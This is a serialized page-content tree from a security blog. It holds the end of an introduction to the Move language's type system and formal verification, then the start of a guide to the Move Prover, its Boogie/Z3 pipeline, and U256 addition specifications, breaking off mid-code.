&",{"type":23,"tag":314,"props":8018,"children":8019},{"style":321},[8020],{"type":28,"value":2979},{"type":23,"tag":314,"props":8022,"children":8023},{"style":360},[8024],{"type":28,"value":7674},{"type":23,"tag":314,"props":8026,"children":8027},{"style":338},[8028],{"type":28,"value":1870},{"type":23,"tag":314,"props":8030,"children":8031},{"class":316,"line":1452},[8032,8037,8041,8046,8050,8055,8059,8063,8067,8072,8076,8081,8085,8090,8095,8100,8104,8108,8112,8117,8121,8125],{"type":23,"tag":314,"props":8033,"children":8034},{"style":338},[8035],{"type":28,"value":8036}," (",{"type":23,"tag":314,"props":8038,"children":8039},{"style":354},[8040],{"type":28,"value":256},{"type":23,"tag":314,"props":8042,"children":8043},{"style":338},[8044],{"type":28,"value":8045},"vector",{"type":23,"tag":314,"props":8047,"children":8048},{"style":354},[8049],{"type":28,"value":2737},{"type":23,"tag":314,"props":8051,"children":8052},{"style":332},[8053],{"type":28,"value":8054},"borrow",{"type":23,"tag":314,"props":8056,"children":8057},{"style":338},[8058],{"type":28,"value":341},{"type":23,"tag":314,"props":8060,"children":8061},{"style":354},[8062],{"type":28,"value":1833},{"type":23,"tag":314,"props":8064,"children":8065},{"style":360},[8066],{"type":28,"value":99},{"type":23,"tag":314,"props":8068,"children":8069},{"style":338},[8070],{"type":28,"value":8071},", (",{"type":23,"tag":314,"props":8073,"children":8074},{"style":360},[8075],{"type":28,"value":2993},{"type":23,"tag":314,"props":8077,"children":8078},{"style":321},[8079],{"type":28,"value":8080}," as",{"type":23,"tag":314,"props":8082,"children":8083},{"style":2674},[8084],{"type":28,"value":5114},{"type":23,"tag":314,"props":8086,"children":8087},{"style":338},[8088],{"type":28,"value":8089},")) ",{"type":23,"tag":314,"props":8091,"children":8092},{"style":321},[8093],{"type":28,"value":8094},"as",{"type":23,"tag":314,"props":8096,"children":8097},{"style":2674},[8098],{"type":28,"value":8099}," u128",{"type":23,"tag":314,"props":8101,"children":8102},{"style":338},[8103],{"type":28,"value":2343},{"type":23,"tag":314,"props":8105,"children":8106},{"style":354},[8107],{"type":28,"value":256},{"type":23,"tag":314,"props":8109,"children":8110},{"style":338},[8111],{"type":28,"value":2324},{"type":23,"tag":314,"props":8113,"children":8114},{"style":360},[8115],{"type":28,"value":8116},"n_coins",{"type":23,"tag":314,"props":8118,"children":8119},{"style":321},[8120],{"type":28,"value":8080},{"type":23,"tag":314,"props":8122,"children":8123},{"style":2674},[8124],{"type":28,"value":8099},{"type":23,"tag":314,"props":8126,"children":8127},{"style":338},[8128],{"type":28,"value":2414},{"type":23,"tag":314,"props":8130,"children":8131},{"class":316,"line":1497},[8132],{"type":23,"tag":314,"props":8133,"children":8134},{"style":338},[8135],{"type":28,"value":8136}," );\n",{"type":23,"tag":314,"props":8138,"children":8139},{"class":316,"line":1539},[8140,8145,8149,8153,8157,8161],{"type":23,"tag":314,"props":8141,"children":8142},{"style":360},[8143],{"type":28,"value":8144}," i",{"type":23,"tag":314,"props":8146,"children":8147},{"style":354},[8148],{"type":28,"value":1237},{"type":23,"tag":314,"props":8150,"children":8151},{"style":360},[8152],{"type":28,"value":2653},{"type":23,"tag":314,"props":8154,"children":8155},{"style":354},[8156],{"type":28,"value":1572},{"type":23,"tag":314,"props":8158,"children":8159},{"style":1054},[8160],{"type":28,"value":3778},{"type":23,"tag":314,"props":8162,"children":8163},{"style":338},[8164],{"type":28,"value":2278},{"type":23,"tag":314,"props":8166,"children":8167},{"class":316,"line":1548},[8168],{"type":23,"tag":314,"props":8169,"children":8170},{"style":338},[8171],{"type":28,"value":8172}," };\n",{"type":23,"tag":314,"props":8174,"children":8175},{"class":316,"line":1584},[8176,8181],{"type":23,"tag":314,"props":8177,"children":8178},{"style":360},[8179],{"type":28,"value":8180}," spec",{"type":23,"tag":314,"props":8182,"children":8183},{"style":338},[8184],{"type":28,"value":1449},{"type":23,"tag":314,"props":8186,"children":8187},{"class":316,"line":1617},[8188,8193,8197,8201,8205],{"type":23,"tag":314,"props":8189,"children":8190},{"style":360},[8191],{"type":28,"value":8192}," assert",{"type":23,"tag":314,"props":8194,"children":8195},{"style":360},[8196],{"type":28,"value":2653},{"type":23,"tag":314,"props":8198,"children":8199},{"style":354},[8200],{"type":28,"value":2537},{"type":23,"tag":314,"props":8202,"children":8203},{"style":360},[8204],{"type":28,"value":7739},{"type":23,"tag":314,"props":8206,"children":8207},{"style":338},[8208],{"type":28,"value":2278},{"type":23,"tag":314,"props":8210,"children":8211},{"class":316,"line":1625},[8212,8216,8220,8224,8228,8232,8236,8240],{"type":23,"tag":314,"props":8213,"children":8214},{"style":360},[8215],{"type":28,"value":8192},{"type":23,"tag":314,"props":8217,"children":8218},{"style":332},[8219],{"type":28,"value":7810},{"type":23,"tag":314,"props":8221,"children":8222},{"style":338},[8223],{"type":28,"value":341},{"type":23,"tag":314,"props":8225,"children":8226},{"style":360},[8227],{"type":28,"value":99},{"type":23,"tag":314,"props":8229,"children":8230},{"style":338},[8231],{"type":28,"value":2343},{"type":23,"tag":314,"props":8233,"children":8234},{"style":354},[8235],{"type":28,"value":7828},{"type":23,"tag":314,"props":8237,"children":8238},{"style":360},[8239],{"type":28,"value":7739},{"type":23,"tag":314,"props":8241,"children":8242},{"style":338},[8243],{"type":28,"value":2278},{"type":23,"tag":314,"props":8245,"children":8246},{"class":316,"line":1660},[8247],{"type":23,"tag":314,"props":8248,"children":8249},{"style":338},[8250],{"type":28,"value":8172},{"type":23,"tag":314,"props":8252,"children":8253},{"class":316,"line":1708},[8254],{"type":23,"tag":314,"props":8255,"children":8256},{"style":360},[8257],{"type":28,"value":8258}," amounts_times_coins\n",{"type":23,"tag":314,"props":8260,"children":8261},{"class":316,"line":1743},[8262],{"type":23,"tag":314,"props":8263,"children":8264},{"style":338},[8265],{"type":28,"value":5126},{"type":23,"tag":314,"props":8267,"children":8268},{"class":316,"line":1751},[8269,8273,8277],{"type":23,"tag":314,"props":8270,"children":8271},{"style":360},[8272],{"type":28,"value":7400},{"type":23,"tag":314,"props":8274,"children":8275},{"style":360},[8276],{"type":28,"value":7611},{"type":23,"tag":314,"props":8278,"children":8279},{"style":338},[8280],{"type":28,"value":1449},{"type":23,"tag":314,"props":8282,"children":8283},{"class":316,"line":1791},[8284,8288,8293],{"type":23,"tag":314,"props":8285,"children":8286},{"style":360},[8287],{"type":28,"value":7416},{"type":23,"tag":314,"props":8289,"children":8290},{"style":360},[8291],{"type":28,"value":8292}," opaque",{"type":23,"tag":314,"props":8294,"children":8295},{"style":338},[8296],{"type":28,"value":2278},{"type":23,"tag":314,"props":8298,"children":8299},{"class":316,"line":1805},[8300,8305,8310],{"type":23,"tag":314,"props":8301,"children":8302},{"style":360},[8303],{"type":28,"value":8304}," aborts_if",{"type":23,"tag":314,"props":8306,"children":8307},{"style":321},[8308],{"type":28,"value":8309}," false",{"type":23,"tag":314,"props":8311,"children":8312},{"style":338},[8313],{"type":28,"value":2278},{"type":23,"tag":314,"props":8315,"children":8316},{"class":316,"line":1818},[8317,8321,8325,8329,8334,8338,8342,8346,8350,8354],{"type":23,"tag":314,"props":8318,"children":8319},{"style":360},[8320],{"type":28,"value":7441},{"type":23,"tag":314,"props":8322,"children":8323},{"style":332},[8324],{"type":28,"value":7810},{"type":23,"tag":314,"props":8326,"children":8327},{"style":338},[8328],{"type":28,"value":341},{"type":23,"tag":314,"props":8330,"children":8331},{"style":360},[8332],{"type":28,"value":8333},"result",{"type":23,"tag":314,"props":8335,"children":8336},{"style":338},[8337],{"type":28,"value":2343},{"type":23,"tag":314,"props":8339,"children":8340},{"style":354},[8341],{"type":28,"value":7828},{"type":23,"tag":314,"props":8343,"children":8344},{"style":332},[8345],{"type":28,"value":7810},{"type":23,"tag":314,"props":8347,"children":8348},{"style":338},[8349],{"type":28,"value":341},{"type":23,"tag":314,"props":8351,"children":8352},{"style":360},[8353],{"type":28,"value":99},{"type":23,"tag":314,"props":8355,"children":8356},{"style":338},[8357],{"type":28,"value":1025},{"type":23,"tag":314,"props":8359,"children":8360},{"class":316,"line":1873},[8361,8365,8369,8373,8377,8381,8385,8390,8394,8398,8402,8406,8411,8415,8419,8423,8427,8431,8435,8439,8443,8447,8451,8455,8459],{"type":23,"tag":314,"props":8362,"children":8363},{"style":360},[8364],{"type":28,"value":7441},{"type":23,"tag":314,"props":8366,"children":8367},{"style":360},[8368],{"type":28,"value":7871},{"type":23,"tag":314,"props":8370,"children":8371},{"style":360},[8372],{"type":28,"value":7876},{"type":23,"tag":314,"props":8374,"children":8375},{"style":321},[8376],{"type":28,"value":2297},{"type":23,"tag":314,"props":8378,"children":8379},{"style":1054},[8380],{"type":28,"value":1201},{"type":23,"tag":314,"props":8382,"children":8383},{"style":354},[8384],{"type":28,"value":2306},{"type":23,"tag":314,"props":8386,"children":8387},{"style":332},[8388],{"type":28,"value":8389},"len",{"type":23,"tag":314,"props":8391,"children":8392},{"style":338},[8393],{"type":28,"value":341},{"type":23,"tag":314,"props":8395,"children":8396},{"style":360},[8397],{"type":28,"value":99},{"type":23,"tag":314,"props":8399,"children":8400},{"style":338},[8401],{"type":28,"value":431},{"type":23,"tag":314,"props":8403,"children":8404},{"style":354},[8405],{"type":28,"value":3746},{"type":23,"tag":314,"props":8407,"children":8408},{"style":360},[8409],{"type":28,"value":8410}," result",{"type":23,"tag":314,"props":8412,"children":8413},{"style":338},[8414],{"type":28,"value":1312},{"type":23,"tag":314,"props":8416,"children":8417},{"style":360},[8418],{"type":28,"value":7909},{"type":23,"tag":314,"props":8420,"children":8421},{"style":338},[8422],{"type":28,"value":1322},{"type":23,"tag":314,"props":8424,"children":8425},{"style":354},[8426],{"type":28,"value":7828},{"type":23,"tag":314,"props":8428,"children":8429},{"style":360},[8430],{"type":28,"value":7922},{"type":23,"tag":314,"props":8432,"children":8433},{"style":338},[8434],{"type":28,"value":1312},{"type":23,"tag":314,"props":8436,"children":8437},{"style":360},[8438],{"type":28,"value":7909},{"type":23,"tag":314,"props":8440,"children":8441},{"style":338},[8442],{"type":28,"value":1322},{"type":23,"tag":314,"props":8444,"children":8445},{"style":354},[8446],{"type":28,"value":256},{"type":23,"tag":314,"props":8448,"children":8449},{"style":332},[8450],{"type":28,"value":7810},{"type":23,"tag":314,"props":8452,"children":8453},{"style":338},[8454],{"type":28,"value":341},{"type":23,"tag":314,"props":8456,"children":8457},{"style":360},[8458],{"type":28,"value":99},{"type":23,"tag":314,"props":8460,"children":8461},{"style":338},[8462],{"type":28,"value":1025},{"type":23,"tag":314,"props":8464,"children":8465},{"class":316,"line":1891},[8466],{"type":23,"tag":314,"props":8467,"children":8468},{"style":338},[8469],{"type":28,"value":5126},{"type":23,"tag":61,"props":8471,"children":8472},{"id":4565},[8473],{"type":28,"value":4568},{"type":23,"tag":24,"props":8475,"children":8476},{},[8477],{"type":28,"value":8478},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":23,"tag":24,"props":8480,"children":8481},{},[8482],{"type":28,"value":8483},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":23,"tag":24,"props":8485,"children":8486},{},[8487,8489,8496],{"type":28,"value":8488},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":31,"props":8490,"children":8493},{"href":8491,"rel":8492},"https://twitter.com/notdeghost/",[35],[8494],{"type":28,"value":8495},"@notdeghost",{"type":28,"value":282},{"type":23,"tag":2096,"props":8498,"children":8499},{},[8500],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":8502},[8503,8504,8505],{"id":5012,"depth":370,"text":5015},{"id":7051,"depth":370,"text":7054},{"id":4565,"depth":370,"text":4568},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":8510,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8511,"description":8512,"author":4974,"image":8513,"date":8516,"isFeatured":18,"tags":8517,"onBlogPage":18,"body":8520,"_type":2117,"_id":12860,"_source":2119,"_file":12861,"_stem":12862,"_extension":2122},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":8514,"height":8515,"width":4978},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[8518,8519],"move","tutorial",{"type":20,"children":8521,"toc":12846},[8522,8541,8553,8559,8564,8569,8574,8583,8588,8602,8607,8613,8618,8632,8637,8774,8787,8792,8813,8846,8857,8862,8867,8877,8890,9231,9245,9263,9308,9321,9340,9512,9517,9522,9547,9552,10154,10166,10178,10183,10197,10202,10215,10255,10260,10292,10297,10302,10315,10700,10727,10934,10939,10951,11187,11192,11200,11219,11567,11572,11729,11734,11741,11755,11761,11766,11771,11777,11790,12022,12028,12033,12053,12322,12327,12333,12345,12350,12364,12370,12405,12505,12526,12532,12537,12542,12794,12799,12817,12821,12826,12831,12842],{"type":23,"tag":24,"props":8523,"children":8524},{},[8525,8527,8532,8534,8539],{"type":28,"value":8526},"Formal verification -- a powerful tool for ",{"type":23,"tag":186,"props":8528,"children":8529},{},[8530],{"type":28,"value":8531},"proving",{"type":28,"value":8533}," the correctness of your programs. How does it ",{"type":23,"tag":186,"props":8535,"children":8536},{},[8537],{"type":28,"value":8538},"actually",{"type":28,"value":8540}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":23,"tag":24,"props":8542,"children":8543},{},[8544,8546,8551],{"type":28,"value":8545},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":23,"tag":186,"props":8547,"children":8548},{},[8549],{"type":28,"value":8550},"all",{"type":28,"value":8552}," possible inputs.",{"type":23,"tag":61,"props":8554,"children":8556},{"id":8555},"move-prover",[8557],{"type":28,"value":8558},"Move Prover",{"type":23,"tag":24,"props":8560,"children":8561},{},[8562],{"type":28,"value":8563},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":23,"tag":24,"props":8565,"children":8566},{},[8567],{"type":28,"value":8568},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":23,"tag":24,"props":8570,"children":8571},{},[8572],{"type":28,"value":8573},"The architecture of the tool consists of multiple components as illustrated below.",{"type":23,"tag":24,"props":8575,"children":8576},{},[8577],{"type":23,"tag":197,"props":8578,"children":8582},{"alt":8579,"src":8580,"title":8581},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":23,"tag":24,"props":8584,"children":8585},{},[8586],{"type":28,"value":8587},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":23,"tag":24,"props":8589,"children":8590},{},[8591,8593,8600],{"type":28,"value":8592},"The model is translated into an intermediate language, called ",{"type":23,"tag":31,"props":8594,"children":8597},{"href":8595,"rel":8596},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[35],[8598],{"type":28,"value":8599},"Boogie",{"type":28,"value":8601},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":23,"tag":24,"props":8603,"children":8604},{},[8605],{"type":28,"value":8606},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":23,"tag":61,"props":8608,"children":8610},{"id":8609},"move-specification-language",[8611],{"type":28,"value":8612},"Move Specification Language",{"type":23,"tag":24,"props":8614,"children":8615},{},[8616],{"type":28,"value":8617},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":23,"tag":24,"props":8619,"children":8620},{},[8621,8623,8630],{"type":28,"value":8622},"To better understand how to use the MSL, we will use ",{"type":23,"tag":31,"props":8624,"children":8627},{"href":8625,"rel":8626},"https://github.com/pontem-network/u256",[35],[8628],{"type":28,"value":8629},"Pontem's U256 library",{"type":28,"value":8631},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":23,"tag":24,"props":8633,"children":8634},{},[8635],{"type":28,"value":8636},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":23,"tag":304,"props":8638,"children":8640},{"code":8639,"language":2233,"meta":7,"className":2234,"style":7},"struct U256 has copy, drop, store {\n v0: u64,\n v1: u64,\n v2: u64,\n v3: u64,\n}\n",[8641],{"type":23,"tag":94,"props":8642,"children":8643},{"__ignoreMap":7},[8644,8687,8707,8727,8747,8767],{"type":23,"tag":314,"props":8645,"children":8646},{"class":316,"line":317},[8647,8652,8656,8661,8666,8670,8675,8679,8683],{"type":23,"tag":314,"props":8648,"children":8649},{"style":321},[8650],{"type":28,"value":8651},"struct",{"type":23,"tag":314,"props":8653,"children":8654},{"style":2674},[8655],{"type":28,"value":3985},{"type":23,"tag":314,"props":8657,"children":8658},{"style":360},[8659],{"type":28,"value":8660}," has",{"type":23,"tag":314,"props":8662,"children":8663},{"style":360},[8664],{"type":28,"value":8665}," copy",{"type":23,"tag":314,"props":8667,"children":8668},{"style":338},[8669],{"type":28,"value":778},{"type":23,"tag":314,"props":8671,"children":8672},{"style":360},[8673],{"type":28,"value":8674},"drop",{"type":23,"tag":314,"props":8676,"children":8677},{"style":338},[8678],{"type":28,"value":778},{"type":23,"tag":314,"props":8680,"children":8681},{"style":360},[8682],{"type":28,"value":5195},{"type":23,"tag":314,"props":8684,"children":8685},{"style":338},[8686],{"type":28,"value":1449},{"type":23,"tag":314,"props":8688,"children":8689},{"class":316,"line":370},[8690,8695,8699,8703],{"type":23,"tag":314,"props":8691,"children":8692},{"style":360},[8693],{"type":28,"value":8694}," v0",{"type":23,"tag":314,"props":8696,"children":8697},{"style":354},[8698],{"type":28,"value":3746},{"type":23,"tag":314,"props":8700,"children":8701},{"style":2674},[8702],{"type":28,"value":5114},{"type":23,"tag":314,"props":8704,"children":8705},{"style":338},[8706],{"type":28,"value":1870},{"type":23,"tag":314,"props":8708,"children":8709},{"class":316,"line":380},[8710,8715,8719,8723],{"type":23,"tag":314,"props":8711,"children":8712},{"style":360},[8713],{"type":28,"value":8714}," v1",{"type":23,"tag":314,"props":8716,"children":8717},{"style":354},[8718],{"type":28,"value":3746},{"type":23,"tag":314,"props":8720,"children":8721},{"style":2674},[8722],{"type":28,"value":5114},{"type":23,"tag":314,"props":8724,"children":8725},{"style":338},[8726],{"type":28,"value":1870},{"type":23,"tag":314,"props":8728,"children":8729},{"class":316,"line":1091},[8730,8735,8739,8743],{"type":23,"tag":314,"props":8731,"children":8732},{"style":360},[8733],{"type":28,"value":8734}," v2",{"type":23,"tag":314,"props":8736,"children":8737},{"style":354},[8738],{"type":28,"value":3746},{"type":23,"tag":314,"props":8740,"children":8741},{"style":2674},[8742],{"type":28,"value":5114},{"type":23,"tag":314,"props":8744,"children":8745},{"style":338},[8746],{"type":28,"value":1870},{"type":23,"tag":314,"props":8748,"children":8749},{"class":316,"line":1141},[8750,8755,8759,8763],{"type":23,"tag":314,"props":8751,"children":8752},{"style":360},[8753],{"type":28,"value":8754}," v3",{"type":23,"tag":314,"props":8756,"children":8757},{"style":354},[8758],{"type":28,"value":3746},{"type":23,"tag":314,"props":8760,"children":8761},{"style":2674},[8762],{"type":28,"value":5114},{"type":23,"tag":314,"props":8764,"children":8765},{"style":338},[8766],{"type":28,"value":1870},{"type":23,"tag":314,"props":8768,"children":8769},{"class":316,"line":1173},[8770],{"type":23,"tag":314,"props":8771,"children":8772},{"style":338},[8773],{"type":28,"value":386},{"type":23,"tag":24,"props":8775,"children":8776},{},[8777,8779,8785],{"type":28,"value":8778},"Now, let's consider the ",{"type":23,"tag":94,"props":8780,"children":8782},{"className":8781},[],[8783],{"type":28,"value":8784},"add(a: U256, b: U256): U256",{"type":28,"value":8786}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":23,"tag":24,"props":8788,"children":8789},{},[8790],{"type":28,"value":8791},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":23,"tag":24,"props":8793,"children":8794},{},[8795,8797,8803,8805,8812],{"type":28,"value":8796},"For example, if your file is ",{"type":23,"tag":94,"props":8798,"children":8800},{"className":8799},[],[8801],{"type":28,"value":8802},"sources/u256.move",{"type":28,"value":8804},", you can put specifications in ",{"type":23,"tag":31,"props":8806,"children":8809},{"href":8807,"rel":8808},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[35],[8810],{"type":28,"value":8811},"sources/u256.spec.move",{"type":28,"value":282},{"type":23,"tag":304,"props":8814,"children":8816},{"code":8815,"language":2233,"meta":7,"className":2234,"style":7},"spec add { ... }\n",[8817],{"type":23,"tag":94,"props":8818,"children":8819},{"__ignoreMap":7},[8820],{"type":23,"tag":314,"props":8821,"children":8822},{"class":316,"line":317},[8823,8827,8832,8836,8841],{"type":23,"tag":314,"props":8824,"children":8825},{"style":360},[8826],{"type":28,"value":7529},{"type":23,"tag":314,"props":8828,"children":8829},{"style":360},[8830],{"type":28,"value":8831}," add",{"type":23,"tag":314,"props":8833,"children":8834},{"style":338},[8835],{"type":28,"value":1242},{"type":23,"tag":314,"props":8837,"children":8838},{"style":354},[8839],{"type":28,"value":8840},"...",{"type":23,"tag":314,"props":8842,"children":8843},{"style":338},[8844],{"type":28,"value":8845}," }\n",{"type":23,"tag":24,"props":8847,"children":8848},{},[8849,8851,8856],{"type":28,"value":8850},"The specifications placed inside the specification blocks are considered ",{"type":23,"tag":186,"props":8852,"children":8853},{},[8854],{"type":28,"value":8855},"Expressions",{"type":28,"value":282},{"type":23,"tag":837,"props":8858,"children":8860},{"id":8859},"expressions",[8861],{"type":28,"value":8855},{"type":23,"tag":24,"props":8863,"children":8864},{},[8865],{"type":28,"value":8866},"Let's go over some common expressions.",{"type":23,"tag":24,"props":8868,"children":8869},{},[8870,8875],{"type":23,"tag":94,"props":8871,"children":8873},{"className":8872},[],[8874],{"type":28,"value":7578},{"type":28,"value":8876}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":23,"tag":24,"props":8878,"children":8879},{},[8880,8882,8888],{"type":28,"value":8881},"For example, the ",{"type":23,"tag":94,"props":8883,"children":8885},{"className":8884},[],[8886],{"type":28,"value":8887},"add",{"type":28,"value":8889}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":23,"tag":304,"props":8891,"children":8893},{"code":8892,"language":2233,"meta":7,"className":2234,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n a.v0 +\n a.v1 * P64 +\n a.v2 * P64 * P64 +\n a.v3 * P64 * P64 * P64\n}\n\nspec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[8894],{"type":23,"tag":94,"props":8895,"children":8896},{"__ignoreMap":7},[8897,8930,8937,8986,9008,9037,9073,9114,9121,9128,9143,9224],{"type":23,"tag":314,"props":8898,"children":8899},{"class":316,"line":317},[8900,8904,8909,8913,8917,8921,8926],{"type":23,"tag":314,"props":8901,"children":8902},{"style":321},[8903],{"type":28,"value":346},{"type":23,"tag":314,"props":8905,"children":8906},{"style":338},[8907],{"type":28,"value":8908}," P64",{"type":23,"tag":314,"props":8910,"children":8911},{"style":354},[8912],{"type":28,"value":3746},{"type":23,"tag":314,"props":8914,"children":8915},{"style":2674},[8916],{"type":28,"value":8099},{"type":23,"tag":314,"props":8918,"children":8919},{"style":354},[8920],{"type":28,"value":1237},{"type":23,"tag":314,"props":8922,"children":8923},{"style":1054},[8924],{"type":28,"value":8925}," 0x10000000000000000",{"type":23,"tag":314,"props":8927,"children":8928},{"style":338},[8929],{"type":28,"value":2278},{"type":23,"tag":314,"props":8931,"children":8932},{"class":316,"line":370},[8933],{"type":23,"tag":314,"props":8934,"children":8935},{"emptyLinePlaceholder":18},[8936],{"type":28,"value":1088},{"type":23,"tag":314,"props":8938,"children":8939},{"class":316,"line":380},[8940,8944,8948,8953,8957,8961,8965,8969,8973,8977,8982],{"type":23,"tag":314,"props":8941,"children":8942},{"style":360},[8943],{"type":28,"value":7529},{"type":23,"tag":314,"props":8945,"children":8946},{"style":360},[8947],{"type":28,"value":5462},{"type":23,"tag":314,"props":8949,"children":8950},{"style":332},[8951],{"type":28,"value":8952}," value_of_U256",{"type":23,"tag":314,"props":8954,"children":8955},{"style":338},[8956],{"type":28,"value":341},{"type":23,"tag":314,"props":8958,"children":8959},{"style":360},[8960],{"type":28,"value":31},{"type":23,"tag":314,"props":8962,"children":8963},{"style":354},[8964],{"type":28,"value":3746},{"type":23,"tag":314,"props":8966,"children":8967},{"style":2674},[8968],{"type":28,"value":3985},{"type":23,"tag":314,"props":8970,"children":8971},{"style":338},[8972],{"type":28,"value":431},{"type":23,"tag":314,"props":8974,"children":8975},{"style":354},[8976],{"type":28,"value":3746},{"type":23,"tag":314,"props":8978,"children":8979},{"style":360},[8980],{"type":28,"value":8981}," num",{"type":23,"tag":314,"props":8983,"children":8984},{"style":338},[8985],{"type":28,"value":1449},{"type":23,"tag":314,"props":8987,"children":8988},{"class":316,"line":1091},[8989,8994,8998,9003],{"type":23,"tag":314,"props":8990,"children":8991},{"style":360},[8992],{"type":28,"value":8993}," a",{"type":23,"tag":314,"props":8995,"children":8996},{"style":354},[8997],{"type":28,"value":282},{"type":23,"tag":314,"props":8999,"children":9000},{"style":338},[9001],{"type":28,"value":9002},"v0 ",{"type":23,"tag":314,"props":9004,"children":9005},{"style":354},[9006],{"type":28,"value":9007},"+\n",{"type":23,"tag":314,"props":9009,"children":9010},{"class":316,"line":1141},[9011,9015,9019,9024,9028,9032],{"type":23,"tag":314,"props":9012,"children":9013},{"style":360},[9014],{"type":28,"value":8993},{"type":23,"tag":314,"props":9016,"children":9017},{"style":354},[9018],{"type":28,"value":282},{"type":23,"tag":314,"props":9020,"children":9021},{"style":338},[9022],{"type":28,"value":9023},"v1 ",{"type":23,"tag":314,"props":9025,"children":9026},{"style":354},[9027],{"type":28,"value":256},{"type":23,"tag":314,"props":9029,"children":9030},{"style":2674},[9031],{"type":28,"value":8908},{"type":23,"tag":314,"props":9033,"children":9034},{"style":354},[9035],{"type":28,"value":9036}," +\n",{"type":23,"tag":314,"props":9038,"children":9039},{"class":316,"line":1173},[9040,9044,9048,9053,9057,9061,9065,9069],{"type":23,"tag":314,"props":9041,"children":9042},{"style":360},[9043],{"type":28,"value":8993},{"type":23,"tag":314,"props":9045,"children":9046},{"style":354},[9047],{"type":28,"value":282},{"type":23,"tag":314,"props":9049,"children":9050},{"style":338},[9051],{"type":28,"value":9052},"v2 ",{"type":23,"tag":314,"props":9054,"children":9055},{"style":354},[9056],{"type":28,"value":256},{"type":23,"tag":314,"props":9058,"children":9059},{"style":2674},[9060],{"type":28,"value":8908},{"type":23,"tag":314,"props":9062,"children":9063},{"style":354},[9064],{"type":28,"value":357},{"type":23,"tag":314,"props":9066,"children":9067},{"style":2674},[9068],{"type":28,"value":8908},{"type":23,"tag":314,"props":9070,"children":9071},{"style":354},[9072],{"type":28,"value":9036},{"type":23,"tag":314,"props":9074,"children":9075},{"class":316,"line":1208},[9076,9080,9084,9089,9093,9097,9101,9105,9109],{"type":23,"tag":314,"props":9077,"children":9078},{"style":360},[9079],{"type":28,"value":8993},{"type":23,"tag":314,"props":9081,"children":9082},{"style":354},[9083],{"type":28,"value":282},{"type":23,"tag":314,"props":9085,"children":9086},{"style":338},[9087],{"type":28,"value":9088},"v3 ",{"type":23,"tag":314,"props":9090,"children":9091},{"style":354},[9092],{"type":28,"value":256},{"type":23,"tag":314,"props":9094,"children":9095},{"style":2674},[9096],{"type":28,"value":8908},{"type":23,"tag":314,"props":9098,"children":9099},{"style":354},[9100],{"type":28,"value":357},{"type":23,"tag":314,"props":9102,"children":9103},{"style":2674},[9104],{"type":28,"value":8908},{"type":23,"tag":314,"props":9106,"children":9107},{"style":354},[9108],{"type":28,"value":357},{"type":23,"tag":314,"props":9110,"children":9111},{"style":2674},[9112],{"type":28,"value":9113}," P64\n",{"type":23,"tag":314,"props":9115,"children":9116},{"class":316,"line":1216},[9117],{"type":23,"tag":314,"props":9118,"children":9119},{"style":338},[9120],{"type":28,"value":386},{"type":23,"tag":314,"props":9122,"children":9123},{"class":316,"line":1301},[9124],{"type":23,"tag":314,"props":9125,"children":9126},{"emptyLinePlaceholder":18},[9127],{"type":28,"value":1088},{"type":23,"tag":314,"props":9129,"children":9130},{"class":316,"line":1343},[9131,9135,9139],{"type":23,"tag":314,"props":9132,"children":9133},{"style":360},[9134],{"type":28,"value":7529},{"type":23,"tag":314,"props":9136,"children":9137},{"style":360},[9138],{"type":28,"value":8831},{"type":23,"tag":314,"props":9140,"children":9141},{"style":338},[9142],{"type":28,"value":1449},{"type":23,"tag":314,"props":9144,"children":9145},{"class":316,"line":1351},[9146,9151,9155,9159,9163,9167,9171,9175,9179,9183,9187,9192,9196,9200,9204,9208,9212,9216,9220],{"type":23,"tag":314,"props":9147,"children":9148},{"style":360},[9149],{"type":28,"value":9150}," 